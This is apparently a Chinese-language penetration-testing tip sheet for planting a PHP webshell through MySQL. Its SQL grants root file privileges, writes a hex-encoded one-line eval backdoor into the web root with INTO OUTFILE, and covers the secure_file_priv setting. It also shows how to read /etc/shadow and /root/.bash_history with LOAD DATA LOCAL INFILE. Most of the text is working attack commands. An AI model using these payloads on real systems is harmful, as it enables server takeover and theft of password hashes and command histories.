在滲透測試的時候,我們使用into outfile快速寫入一句話后門時經常會出現寫入不了的情況:
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F70687020406576616C28245F504F53545B2778275D293B3F3E) into outfile '../webroot/xxxxxx.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;
不能寫入文件原因,可能是MYSQL新特性secure_file_priv對讀寫文件的影響:
//查看配置項:
SHOW VARIABLES LIKE "secure_file_priv"
//如果查到了secure_file_priv的值,再執行下列命令就可以寫入文件了:
select 123 into outfile '/var/lib/mysql-files/test1.txt '
//限制mysqld 不允許導入 | 導出:
mysqld --secure_file_prive=null
//限制mysqld 的導入 | 導出 只能發生在/tmp/目錄下:
mysqld --secure_file_priv=/tmp/
//不對mysqld 的導入 | 導出做限制:
cat /etc/my.cnf
[mysqld]
secure_file_priv=
//如果沒有權限,mysql還有個低權限讀文件漏洞,/etc/shadow /root/.bash_history都可以讀出來,下面語句測試成功 for MYSQL 5.5.53:
drop table mysql.m1
CREATE TABLE mysql.m1 (code TEXT );
LOAD DATA LOCAL INFILE '/root/.bash_history' INTO TABLE mysql.m1 fields terminated by ''
select * from mysql.m1